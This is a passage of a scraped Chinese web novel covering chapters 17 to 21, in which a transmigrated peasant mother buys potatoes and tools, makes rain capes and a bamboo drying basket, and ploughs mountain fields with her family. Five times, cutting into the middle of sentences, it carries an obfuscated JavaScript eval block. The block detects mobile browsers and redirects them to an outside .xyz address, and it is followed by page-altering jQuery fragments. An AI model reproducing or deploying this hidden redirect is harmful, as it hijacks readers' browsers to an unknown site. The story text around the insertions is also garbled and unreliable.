林禾对野菜没什么兴趣，刚想婉拒就瞧见荠菜下面的东西，开口询问：“荠菜下面是什么？” “这是自家种的红薯，个头虽然不大，但蒸着吃能填饱肚子，两文钱这些都给你！” 老翁见林禾主动问起，把放在红薯上的荠菜都拿了出来，又把竹篮挪过去些。 “可以。”林禾点头，付了两文钱给老翁，“大山，把红薯装上。” “诶！”沈大山手上拎着用茅草编的草篮，装完红薯后草篮只剩下一半的空间。 继续往前走，林禾瞧见的东西都大差不差，多半都是自家种的东西或者山上摘的东西，偶尔还有些卖竹篮竹筐的。 林禾也不着急，走了一圈没见到卖货郎，干脆在路边坐下等。 估计是现在时间还早，卖货郎没来。 等待的时间，一旁摆摊的大婶朝林禾搭话，“妹子，你等卖货郎呢？” 林禾朝她笑笑，“等着呢！您知道卖货郎什么时候来吗？” “莫约还要半个时辰，咱们这儿一共就他一个卖货郎，准时准点来，也准时准点走，大伙有什么东西都让他带，你让他带什么了？” 县城的官道附近一共有四个村子，人不算少，却少有卖货郎愿意来。 因为靠近县城，村子里的人若是嫌卖货郎卖的东西贵，就宁愿掏三文钱的入城费去县城里买。 卖货郎辛苦挑着货到家门口却发现卖不上价，只能赚些微薄的利润，自然没有多少人愿意来。 “我要的东西他一直都卖，我就没让他带。”林禾面色从容，那大婶也没发现林禾是流民，还一直拉着她扯家常聊闲话。 “你家儿子成婚没？我们村有……” “成婚了，孩子都满地跑了。”林禾忙打断了她，怕她再问下去就要问到是那个村的了，到时候就露馅了。 那婶子还想拉着林禾继续聊，好在卖货郎来了。 在草市摆摊的都是附近的村民，卖货郎一来，就有不少人围了过去，将自己谈好要他带的东西取走。 等卖货郎身边空下来，林禾才带着沈大山走过去。 卖货郎挑着的木箱中塞满了东西，甚至连外面还挂着几把锄头，木箱一打开，小到发簪荷包大到锅碗瓢盆都装在里面。 林禾一眼就看中了放在箱子里的菜刀和柴刀。 “你的这些刀怎么卖？” “菜刀一百五十文，柴刀一百三十文，不讲价。”卖货郎抬头打量了一眼林禾，又看了一眼跟在身后的沈大山。 “我若是两把都要，再要两把锄头，你能不能便宜一些？” 林禾想要在山上开荒，总不能一直靠着石头做的锄头，趁手的工具还是要有的。 “锄头一百文一把，你若是要两把锄头两把刀，就便宜你十文钱，一共给四百七十文！” “娘，会不会太贵了……”沈大山听闻价格，有些犹豫。 下山来换粮食，可粮食的影子还没瞧见，就先花出去将近五百文！ “可以！”林禾咬牙买下这些必要的农具。 虽然肉疼钱就这样花出去了，但看着到手的工具，林禾觉得这钱花的值了！ “你可还有粮种或者菜种？”林禾盯着他的木箱子看了半天也没看到，索性直接开口问。 “粮种有半袋，菜种没有。”卖货郎这半袋粮种还是去上个村子收的，一直没卖出去。 他将压在上面的针线布料拿出来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287102|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林禾这才看见用布袋子装好的半袋粮种。 “半袋都给你算你十五文。” 粮种比米要稍微便宜一些，小半袋米至少要二十文。 林禾接过他手上的粮种，眼睛却还盯着木箱底部，“底下那个是土豆吗？” “你认识？”卖货郎有些诧异，“这个是从胡商手中收的，你若是想要这一袋你就给我五文钱就行。” 本来卖货郎是八文钱拿到手的，但卖了好几个村子都没人愿意买，也没人认识，现在好不容易碰上一个认识的，自然得赶紧出手卖掉，总比砸在手上强。 “行！这个我也要了。”林禾见对方不识货，立马就付了钱，让沈大山扛在肩上。 这一袋土豆可是优质碳水，带回去和红薯一起吃，最好不过。 而且天气渐渐回暖，四月份正是种土豆和红薯的好时候。 这些东西种下去不需要额外的照顾，稍微打理一下，长得又大又多，可以说是完美主食。 最关键的是土豆和红薯成长的周期短，两到三个月就能收获，可以帮着林禾填补水稻没熟的那段时期。 林禾又逛了一圈，从其他人手上买了些红薯，凑了两袋红薯带回去。 “娘，你能扛得动吗？要不你在山下等等我，我上去后再来接你一趟。” 沈大山力气大，扛着两袋红薯，手上还挂着草篮都没觉得太吃力。 他跟在林禾身后，怕走在前面扛着土豆和粮种的林禾走不上山。 “你自己小心些就成。” 林禾虽然有些累，但好在原主的身体也是常年干活的农妇，累归累但一鼓作气爬上去也就结束了。 若是来来**两三趟，不累也走累了。 两人都扛着东西，上山的速度慢了不少，和王三娘约定的时间早就过了。 等在山上的王三娘站在洞口来回踱步，一脸焦急，时不时往山下看一眼。 直到她看见林禾的身影出现在茶树丛中，心中的石头才落地，立马跑过去接下林禾手中的布袋。 第17章 棕榈皮 “娘，东西都给我吧，您快歇会儿。”王三娘将林禾肩上的土豆卸下来。 大妞和二妞听见声音也从山洞里跑出来，一个帮着拿锄头，一个帮着提粮种。 沈大山稍微落后几步也跟着一起进了山洞。 王三娘帮沈大山一起将东西放好，林禾洗了把脸才去清点带回来的东西。 红薯和土豆虽然确实是买回来吃的，但她要挑一部分品相好的留下来种。 “娘，这是什么啊？也是红薯吗？”王三娘把空出来的草篮放在林禾手边。 瞧着她手里的土豆觉得新鲜。 林禾转身，发现不止王三娘好奇，蹲在身后的双胞胎也眨着大眼睛满脸好奇地看着林禾手中的土豆。 “这是土豆，和红薯的口感差不多，不过做法更多一点，能炒能炸能蒸也能煮。” 土豆简直就是完美蔬菜，和肉在一起的时候是肉的味道，单独煮又能当主食。 只不过现在的土豆似乎还没有普及，大家都不熟悉，胡商带来也卖不出去。 但林禾识货就行！ “这东西这么好！”王三娘将土豆拿在手上，沉甸甸的，一个分量就不轻。 “嗯，一会儿咱们就能蒸几个吃。”林禾说着停下手中的动作，交代了一句，“草篮里的红薯和土豆是过几日用来种的，不要拿错了。” 几人点点头，表示记住了。 有了新的菜刀，不论是削皮还是切块都方便不少，终于不用再拿着那把生锈又有些钝的柴刀做饭了。 王三娘拿着新的菜刀，轻松削完土豆和红薯。 不过没有案板，切块还是有些不方便，好几次土豆都差点从手上掉出去。 林禾瞧见，去山洞外寻了块还算平整的石头，带去蓄水池拿茅草扎成的草刷刷干净。 到底是要和入口的东西接触的，林禾又在上面铺了一层编好的草垫。 “拿这个凑活先当着案板，等空出时间去外面砍棵树，再换新的案板。” 林禾把石板挪到王三娘手边，示意她在石板上切。 “诶！娘，您对我真好！”王三娘闻言先是一愣，随即看向林禾的眼中带着感激。 没逃荒之前，家里的饭也都是她在做，和自家男人说了好几次案板裂了都没人在意，该吃饭的点还是催着她做饭。 原本也没觉得有什么，只是有些失望罢了。 没想到现在还不如从前，婆母居然注意到了。 自从分家后，王三娘没觉得日子苦，反而觉得现在跟着婆母过的日子越来越有盼头。 陶锅里煮着红薯和土豆，王三娘看着火，手边的柴没剩多少，沈大山主动开口：“我去砍些柴回来。” 林禾把新的柴刀拿给沈大山，就带着大妞和二妞剥昨天带回来的红壳笋。 大妞和二妞老老实实沿着笋壳的纹路剥笋，一刻钟也剥不了几根笋。 林禾瞧见，带着她们学了个剥笋小技巧。 红壳笋的笋尖处长了一撮笋叶，类似彩带，只需要从中间将笋叶分成两半，先往两边扯开，再用手指往反方向一卷，一半的笋壳就被剥开了。 剩下一半同样用手指一卷，中间的笋肉完整又干净。 “哇！好厉害！”二妞放下手中的剥到一半的竹笋，很捧场。 大妞则已经努力学着林禾的样子用手指去卷。 “要先扯下来一点，然后才能卷得动。”林禾又示范了一遍给大妞看。 这次大妞扯下来后一卷就成功了。 “大妞学东西真快！”林禾看着还在捣鼓的二妞，耐着性子也带着她学了一遍。 这些省力的生活技能，林禾希望她们能掌握，不为别的，就为以后随时有应对生活的能力。 双胞胎和林禾剥笋渐入佳境，地上堆了一大堆笋壳，王三娘也学着她们的样子帮忙剥笋。 四个人很快就把带回来的笋剥完了。 这次带回来的笋不多，一捆笋剥出来的笋肉差不多只够吃两顿，没有多余的笋拿去做笋干。 等小竹林里的笋都长出来，摘回来应该够做两斤笋干出来。 外面的天慢慢变阴沉，山风一刮，乌云迅速覆盖整个天空，豆大的雨点顺着山风飘过来砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287103|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在树叶上。 二妞站在山洞前，“娘，外面下雨了！爹还没回来呢！” 王三娘看着这雨也有些担忧，“也不知道你爹找没找到躲雨的地方……” 林禾瞧见外面越下越大的雨，喜忧掺半。 忧的是现在的天气还冷，沈大山若是淋了雨怕是要生病，喜的却是今天下了雨，开荒种田要容易些。 春雨贵如油，这个时候要播种，雨水是最珍贵的，不下雨才着急。 雨幕中冲出一个人影，眨眼的功夫就到了洞口。 “这雨下得太大了，还好我走的不远，不然肯定全身都湿透了！” 沈大山将背上的柴火卸下来，赶紧抖了抖身子，没将身上的雨水带进山洞。 “别站着了，快进来烤火。”王三娘接过他手上的棕榈皮，催着他往里走。 林禾见沈大山过来，又多添了几根柴火，让火烧得更旺。 “你从哪儿弄的这么大一捆的棕榈皮？”王三娘拖着这一大堆沉甸甸的棕榈皮往里走，有些吃力。 说起这个，沈大山刚坐下又站起来，帮着王三娘把棕榈皮提过来解开，从里面拿出一截树干的截断面。 圆形的截断面很明显被削过，周围一圈都是光滑的，没有**糙的木刺。 “刚好瞧见有棵树倒了，我觉得大小合适就截了一段拿回来当案板。” 沈大山解释了一嘴，又坐回火堆边。 林禾瞧见自家这个木讷的便宜儿子总算开窍，识趣地没拆穿他拙劣的谎言。 土豆的口感绵软，配着清炒的竹笋一起吃，嘴里不至于没有味道，再吃两个红薯，甜滋滋的。 一顿饭吃完，几人填饱肚子，外面的雨还在下，也没法出去。 林禾索性将沈大山带回来的棕榈皮拖过来，打算用这些棕榈皮做几件蓑衣。 沈大山将这些棕榈皮带回来也是这个想法，这些都是他冒着雨从棕榈树上扒下来的。 长在村里，制蓑衣是最基本的技能，沈大山和王三娘都会。 林禾却没那么熟悉，只能在一旁跟着他们打下手。 第18章 竹焙笼 要做一件蓑衣出来不容易，得先把带回来的棕榈皮洗干净再晒干才能开始抓棕绒编棕绳。 外面下着大雨，山洞门前成了水帘洞，幸好山洞的地势略高一些，水才没往里面流。 沈大山蹲在洞口，用流下来的雨水搓洗着棕榈皮。 王三娘把他搓洗干净的棕榈皮摊开放在山洞里干爽的地方晾干。 林禾则去将粮种翻了出来，现在开始浸种，等这几天把地开垦出来，差不多也该育种了。 水稻浸种至少需要三天，每天都要换水，确保粮种吸够充足的水分。 林禾找了最大的陶盆，将粮种全部倒进去清洗几遍之后，捞走漂浮在水表面的空壳和干瘪的粮种，就没再动它们。 林禾转身将草篮里的红薯和土豆拿了出来，挨个切成小块，沾了草木灰之后放在草垫上晾干。 红薯和土豆都需要提前育苗，切成块会增加它们接触土壤的面积，更容易发芽。 沾草木灰能够给切开的伤口消毒，防止切好的根块腐烂或者发霉。 之前砍回来的竹子还剩下不少，林禾将竹子搬到火堆边，拿柴刀一点点将竹子劈开，劈成薄而细长的竹条放在一边备用。 沈大山也拿着柴刀在一旁帮着劈竹条，王三娘带着大妞二妞将剥下来的笋壳拿起喂鸭子。 “这鸭子还挺能拉，一天的功夫没清理鸭圈，里面就全是屎。” 王三娘舍不得拿新买回来的锄头抠鸭屎，还用着之前的石锄。 “这些鸭屎你堆到外面的土坑里去，等过几天开完荒，还能当肥料。” 林禾又劈开一根竹条，头也不回地嘱咐王三娘。 肥料这个东西，有一点是一点，总归没有坏处。 “诶！”王三娘应了一声，把从鸭圈抠出来的鸭屎放在外面的土坑里，还拿松叶遮了一下。 门前的土坑本来是给大妞和二妞上厕所用的，晚上天黑，两个孩子不敢走太远，去树林里上厕所，林禾就让沈大山挖了这个土坑。 每次上完厕所，用旁边的树叶和土堆起来，撒些生石灰上去，第二天又可以继续用。 在山上没那么多讲究，从前农村的旱厕也是这样，挖个深一点的坑，上面架两块木板，一用就是两三年。 二妞踩着石头往鸭圈里探头，几乎将整个上半身都伸了进去。 “二妞，你在看什么？”大妞揪着她的衣服，想将人拉回来，“小心别栽下去。” “姐，你小声些，里面的鸭子好像在生蛋！”二妞说话时压低声音，生怕吓到鸭圈里生蛋的鸭子。 “真的？”大妞也不拉着二妞了，挤过去也想看看。 王三娘一从外面回来就看见双胞胎挤在一起，凑近才发现二人嘀嘀咕咕说着什么，仔细听才听清。 “出来了！” “出来了！那边好像还有一个！” 王三娘这才发现，鸭圈里的鸭子正在下蛋，角落里已经有三个鸭蛋了。 “没了……”二妞的神色有些失望。 还以为能每人吃上一个鸭蛋，结果只生了四个。 王三娘看着二妞，笑着开口：“这么贪心！四个还不好？” 林禾收拢地上劈出来的竹条，看了一眼二妞。 “等其他几个鸭子再养一养，估计也能下蛋，以后每天都能捡鸭蛋。” 捉回来的十二只野鸭中，七只大野鸭里面有三只是母鸭子，五只小野鸭里面也有三只是母鸭子。 母鸭子都是要留着生蛋的。 “那等雨停了，我和姐姐再去割一些草回来，多喂一点草，让鸭子早点长大！” 二妞一听能每天捡蛋，干劲十足。 大妞听了也在一旁点头，表示支持。 “等雨停了娘带你们去。”王三娘在林禾身边坐下，帮她一起整理竹条。 “娘，咱们要编鸭笼吗？” 王三娘知道林禾嫌鸭子养在山洞里臭，想将鸭子挪出去，晚上再关回山洞里。 “嗯，外面下雨，也不能出去，早点编好也能早点用上。” 林禾学过各种竹编，都是跟着巡山的前辈们学的，无聊的时候这种手工活儿很能打发时间。 而且编好的各种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287104|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹器很实用，碰上农村赶大集，林禾也会跟着前辈们下山卖掉编好的竹器，或者拿竹器换些肉菜上山。 竹笼王三娘和沈大山都会编，甚至连大妞都学了一点。 林禾见他们会，就没跟着一起编竹笼，而是开始做竹焙笼。 竹焙笼最早其实叫做茶焙笼，是用来烘干茶叶的，但传下来之后用途慢慢变多了，农村大多都用来烘干辣椒、给稻种去湿气或者烘干衣物。 尤其是碰上梅雨季节，不止衣服会发霉，晒得半干的辣椒也容易发霉，这个时候竹焙笼就能派上用场。 竹焙笼的形状和沙漏很像，都是两头大中间小的设计，不过竹焙笼中间的空隙比沙漏中间宽很多。 竹焙笼的下面是放炭盆的，中间隔着一个半圆形的凸起，上面就是用来烘东西的。 林禾之前编过，熟悉构造，但竹焙笼编起来并不容易。 林禾不记得自己缠过多少圈，折过多少下，手指和虎口的地方都隐隐作痛，才终于将竹焙笼编好。 沈大山手中提着两个崭新的竹笼，看向立在林禾身边半人高的竹焙笼：“娘，你编的是啥啊？” 竹焙笼在南方更常见，沈大山没见过也正常。 林禾将竹焙笼挪了个地方，回答他：“竹焙笼，用来烘东西的。” 等弄完这些，外面的雨慢慢停歇。 “大山，带上锄头随我走。”林禾出门前，拿了锄头和一罐石灰。 清明前后，种瓜点豆。 眼看已经到了四月初，水稻再不播种就晚了。 粮种是泡上了，可地还没挖好，自然要争分夺秒。 林禾之前就已经看好了地方，就在山的北面，向阳面有太阳日照足，那边的土壤也有不少腐叶，肥力也够。 “娘，那边有山蛭，咱们还是别往那边走吧……重新找个地方。” 沈大山看着熟悉的小路，有些发怵。 上次的经历于他而言确实算不上好。 “别担心，这些我带了秘密武器！能将它们一锅端！” 林禾让沈大山不要怕。 第19章 耕地种粮 可到了地方，沈大山还是怕。 林禾站在略高的小道上，将手中的锄头递给沈大山，而她则将手伸向腰间装着石灰的罐子。 一把石灰撒下去，原本还在腐叶上跳动的山蛭瞬间缩成一团，其余的山蛭也不敢往这边来。 林禾趁热打铁，将这一片都撒上石灰。 “娘，盐我刮下来了。”沈大山也将身后盐壁上的盐刮下来用宽大的桐树叶包着。 林禾抓了一把混着泥沙的盐晶抹在鞋子上，随即对着沈大山道：“朝着下面撒。” 沈大山也意识到这些凶悍的山蛭怕石灰和盐，立马照做，将周围都撒了个遍。 林禾则折下两根树枝当筷子，沿着反方向把缩成一顿的山蛭夹进腰间的陶罐中。 她上次见那老大夫特意来抓这些山蛭，想来这些惹人烦的东西应该是能入药的，抓起来放好说不准还能卖钱。 谁让她现在穷呢！ 只要是有可能买到钱的东西，她都不愿意放过。 钱都是这样一分一分攒起来的。 “娘，这些还没死透，你带回去不会半夜爬起来吸我们的血吧！” 沈大山看着陶罐中密密麻麻的一片，头皮发麻。 “它再厉害也不可能把陶罐钻破洞，而且这里面还放了生石灰，在待一会儿就**。” 林禾的话安了沈大山的心，他也跟着一起夹山蛭。 二人整整弄了半个时辰才将山蛭都清理干净。 北边不仅向阳，光照足，最主要的是地形也是逐渐变低的缓斜坡，很适合挖成梯田。 刚刚才下过雨，土壤都很松，几乎不费什么力气就将土壤挖开了，铺在上层的腐叶也跟着一起翻入地里。 有腐叶的地虽然肥力足一些，但并不适合用来做水田，水田里的叶子、杂草都是要清理干净的，就怕腐叶上的细菌感染刚培育出来的水稻苗。 不过幸好有腐叶的地方都是在上层，斜坡下层的位置只有一些矮小的灌木，枯枝多，落叶少。 清理起来方便，位于下层的地形落差也方便引水，更适合当水田种水稻。 上层肥力足可以种土豆和红薯。 林禾想通之后，先带着沈大山在斜坡中间，找了一段较为平缓的地方，先垒了一个田埂出来，用来隔断水田和旱地。 沈大山寻常的性格是憨一些，但在地里干起活儿来，手脚利索，翻过的地又快又好。 林禾刚挖完半边，沈大山就已经挖完两块地了。 “娘，你若是累了就歇会儿，我一个人也能行。”沈大山一想到要下半年能吃上白米就有使不完的力气。 农民一年到头就指望着地里收获的东西过日子，农忙时累归累，但心里却是高兴的。 只要有地种，就不会吃不上饭。 土地给人的踏实感，是其他东西没法替代的。 “娘！大山！” 王三娘站在山坡上朝二人挥手，她手里还抱着一大捆蕨菜，身后跟着大妞和二妞。 “娘，您歇会儿我来挖。”王三娘看见林禾满头大汗，忙走过去拿她手里的锄头。 “不用，水潭下面的围栏围上了吗？”林禾也没想让王三娘过来挖地，给水潭加上围栏就够她忙了。 人毕竟不是骡子，不能时时刻刻都干活。 “围好了才出来的，过来摘些蕨菜回去晚上吃。”王三娘说着还将手里的蕨菜拿起来给林禾和沈大山看。 蕨菜长得快，一天一个样子，王三娘手上的蕨菜已经比不得前几日鲜嫩。 “娘，你让我挖吧，您歇会儿。”王三娘看着婆母干活，自己在一旁站着实在不好意思。 林禾继续弯腰挥着锄头，“你去把下面的枯枝捡一捡，明天带上锄头再过来挖地，捡完枯枝回去杀只鸭子，晚上我回去做。” “行！”王三娘带着大妞二妞在下面捡枯枝。 沈大山力气大，挖完上面的田，他索性开始垒田埂，一路从上面垒到下面，顺带把下面的地也翻了一遍。 天色不早，头顶的乌云又开始慢慢聚拢，林禾拿上锄头，叫上还在下面的沈大山，“咱们回去了！” “来了！”沈大山快步跟上林禾几人。 路过小路上时，林禾瞧见长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287105|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在路边的蕨菜，索性将长出来的都掐了，再长一天就老了。 她只留下了一些刚冒芽的蕨菜，长两天正好能吃。 沈大山还挺喜欢吃蕨菜的，看着林禾的无情铁手，有些担心，“娘，你将它们都掐了，以后不长了咋办？” “蕨菜是靠孢子繁殖的，不会因为掐光了以后就不再长。”林禾顺带解释了一嘴。 “包子？”沈大山疑惑又诧异。 他想不通。 王三娘听见了也想不通，但她觉得婆母说的话一定有道理。 “就是蕨菜的种子没事，来年还会再从土里长出来。”林禾换了个说法，沈大山就懂了。 一行人刚到山洞门口，雨就开始下了。 雨一直在下，王三娘把鸭子杀了，林禾又把鸭子炒熟，外面的雨还没停下。 林禾做的炒血鸭，淋上鸭血的时候，王三娘不理解，但吃到嘴里之后，她彻底理解了。 “要是这个时候能吃上一口白米就好了。”王三娘盯着碗里的血鸭，“配上娘做的这个血鸭肯定很好吃。” 沈大山手里拿着红薯，啃了一口之后，认可地点点头。 “会有的，等将种子种下去，咱们下半年就能吃上白米了。” 林禾何尝不想吃米饭，她从来没有这么怀念过大米饭。 没穿越之前，全世界都在说米饭不算优质主食，不宜多吃，要多吃粗粮。 林禾觉得这帮人估计是没饿过，若是饿过，都说不出要戒掉米饭这样的话。 林禾咬了一口土豆，又吃了一块鸭肉，心中多少有些安慰。 虽然没饭吃，但好歹还有肉，有菜！ 吃完饭，王三娘看着满地的蕨菜，有些发愁，“娘，这些蕨菜咱们摘太多了，吃不完就坏掉了。” “吃不完没关系，剩下的部分用来做蕨菜干。” 蕨菜是三四月份特有的野菜，错过就没有了。 但人和动物最大的区别就是——人会使用工具。 蕨菜不能一年四季都有，但蕨菜干可以留一整年，想吃的时候拿出来炒菜又是另外一番风味。 第20章 阴雨绵绵 林禾把蕨菜都塞进陶锅里焯水，两个陶锅都被塞得满满当当。 等陶锅再次打开时，空气中弥漫着一股嫩草的清香。 “大山，拿两个陶盆过来。”林禾话音刚落，沈大山就抱着两个陶盆过来。 林禾将陶锅里焯完水的蕨菜全部捞出来，放在陶盆里晾凉。 莫约一刻钟的功夫，林禾搬着小板凳坐在陶盆前，拎起一根蕨菜撕成三缕后重新放在陶盆另外一边。 这不是什么需要技巧的活儿，王三娘也带着两个孩子围在陶盆边帮忙撕蕨菜。 沈大山拿起柴刀，把白天带回来的柴都劈开，又分出一些被雨水打湿的柴放在火堆边，另外干了的柴都被他整整齐齐码在角落里的草垫上。 “娘，咱们要不要再割些茅草回来？”王三娘还念着草垫能换钱的事情。 她看着编出来的草垫都用在家里了，想多做些放着下次下山的时候换钱。 “茅草就不用了，可以去割些棕树叶回来。” 茅草现在正是换新叶的时候，新长出来的叶子嫩，韧劲不够，用来编东西不合适。 要想编东西，现在的棕树叶更合适。 而且林禾下了一趟山，发现草垫这些东西，大部分人应当舍不得钱买，要换也只能和卖货郎换。 卖货郎的木箱里，要么是实用的东西，要么就是些稀奇古怪的小玩意儿。 比起草垫，用棕树叶编些小玩意儿或许更受卖货郎欢迎。 “等雨停了我去。”沈大山上次就带回来一大堆棕榈皮，自然知道哪里能找到棕树叶。 沈大山劈完柴，也坐了下来帮着一起撕蕨菜。 捻着头，不费什么力气就能将蕨菜撕成一条条的小缕，丝滑又解压，还有点上瘾。 几人闲聊着，陶盆里的蕨菜就没了。 “娘，咱们这些蕨菜晾在哪里？”沈大山抱起一个陶盆，在山洞看了一圈，也没有合适的地方。 “不用晾，放在竹焙笼里烘着就行。”林禾说话的空隙已经将竹焙笼搬了过来。 林禾将竹焙笼架在拢好的碳火上，又把撕好的蕨菜铺在竹焙笼里，最后再盖上竹罩。 外面的雨断断续续下着，山洞里林禾重新添了几根粗柴，在暖烘烘的火堆边安心躺下。 听着淅淅沥沥的雨声，众人都慢慢入睡。 这段时间作息规律，林禾已经有生物钟了，到时间就会醒。 醒来第一件事，林禾就将浸泡着粮种的水换了。 洗了把脸之后，又去瞧了瞧切好的土豆块和红薯块，确保没有发霉和腐烂的迹象才放心。 “娘，我去放鸭子。”沈大山提着两个竹笼往水潭走。 王三娘也煮了土豆和红薯。 早上的温度低，外面飘着一层薄雾，但幸好没下雨。 等沈大山放完鸭子回来，林禾就让王三娘带上煮好的土豆红薯一起出门挖地。 山间的早晨，就算没有下雨，杂草和灌木上都会挂着水珠，更不要说昨晚还下了雨。 几人一路走到梯田，不止裤脚被打湿，连小腿处的裤子也湿了。 双胞胎个子矮，即便走在后面也没能逃过，连头发上都带着露水。 幸好到了地方之后，山对面泛起点点金光，隐隐有放晴的趋势，吹来的风也带着暖意。 昨晚下过雨，刚翻好的地里都积满了水，不过上层的田埂中间特意留了个口子，好让水顺着坡度往下流。 上面的旱地只微微湿润，下面的水田确实积了不少水。 林禾踩着田埂往下，将裤腿挽到大腿处，脱了鞋踩进泥地里。 沈大山和王三娘也跟着下来了。 水田翻耕讲究深耕碎土、平田保水。 昨天走得急，下面的水田都是沈大山翻的，有好些地方都只是挖动了一下，根本没往深了挖。 今日主要的任务就是深耕碎土，将田里结块的土打碎，再清理出里面的杂物。 说起来简单，但看着这么多的水田，林禾只觉得任重道远。 沈大山在前面挖开土壤，林禾和王三娘在后面跟着碎土，大妞二妞就跟在后面帮忙捡枯枝和碎石。 农忙的时候，男女老少都要来帮忙，这是和上天在抢时间。 错过了季节，再想种也没机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287106|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 刚挖了两三亩地，一阵风吹来，刚放晴的天空又被乌云占据。 王三娘直起腰，抬头看了一眼天，“这天怕是又要下雨了。” “抓紧挖完这一亩田就回去。”林禾将手中的锄头挥得更快。 山里下雨不比山下，随时都可能会有地方会塌，危险又不可预测。 几人往回走才走到半路，****细雨开始往下落，等到了山洞，外面的雨也开始变大。 “先生火，把湿掉的外衣脱下来，别感染风寒了。”林禾自己脱下外衣后，又帮着大妞二妞擦干头发。 小孩子感冒可比大人感冒更危险。 在四月初光脚下田，水还是冷的，林禾清洗完腿上的泥巴后才感觉刺骨的冷意消散了些。 林禾把昨晚放在竹焙笼里的蕨菜条重新翻了个面继续烘。 沈大山手上还拿着半干的棕榈皮，“再晾一天估计就能干了，到时候把蓑衣做出来，小雨也能在田里干活。” “放到火堆边上来，干得快些。”林禾说完，沈大山拖着棕榈皮靠过来一段距离。 雨下了两个时辰又停了，只飘着一些细雨，细如牛毛。 林禾让大妞二妞留在山洞里，带着沈大山和王三娘去将剩下的田挖完。 幸好之后没再下雨，即便腰酸得直不起来，林禾还是和沈大山一起把剩下的田都深耕了一遍。 终于知道为什么要用老黄牛耕田了，因为用人耕田是真的容易累死！ 即便这个身体也是常年干农活锻炼出来的，但一个下午干下来，也是手脚发酸，腰酸背痛。 “咱们赶紧回去。”林禾穿鞋时，只觉得小腿以下的部分都冷得没了知觉。 王三娘先回去做饭了，等二人回山洞时，已经闻到里面传来的肉香味。 “你们回来了！”王三娘正在往外盛鸭肉，看见二人进来，忙招呼：“锅里还有热水，泡泡脚赶紧吃饭了。” 中午吃的几个红薯土豆早就消化了，饿得前胸贴后背的林禾洗完手就先抓了一个红薯啃。 吃完红薯，脚也泡暖了，她才拿着碗过去吃鸭肉。 第21章 油菜花 接连三日，每天雨停的间隙，几人都会去耕田，争分夺秒之下才将水田都深耕了一遍。 接下来的平田就轻松多了。 只需要用锄头将高低不一的田面弄平整，低的地方填土，高的地方推平，反复多次，保证田面平整。 这样能避免灌水后高处干旱、低处积水，保证水稻生长一致。 沈大山和王三娘两个人一起干，一天的功夫就弄完了。 林禾则在上面的旱地里松土，明日就能将红薯和土豆种下去。 但这两种农作物都不耐涝，这段时间雨水多，林禾挖出来的垄比寻常时候要高，垄与垄之间的间距也挖得比较宽。 这样才方便后期排水，不至于一下雨就淹了。 “姐姐，你快过来，这边还有一条！”二妞蹲在田埂上，手里抓着一条蚯蚓，朝后面的大妞招手。 “来了！”大妞把自己抓到的蚯蚓放进陶罐里，快步往二妞那边走。 林禾抖了抖脚背上的泥巴，开口道：“蚯蚓是益虫，少抓一些，那边树上的放屁虫可以多抓点去喂鸭子。” 蚯蚓还得留在地里松土，那些臭屁虫掉下来一不小心踩死，身上能臭一整天！ “好。”大妞应下，带着二妞往旱地旁边的灌木走。 臭屁虫比蚯蚓好抓，不到一刻钟，两姐妹抓到的放屁虫陶罐就装不下了，只得先回去一趟。 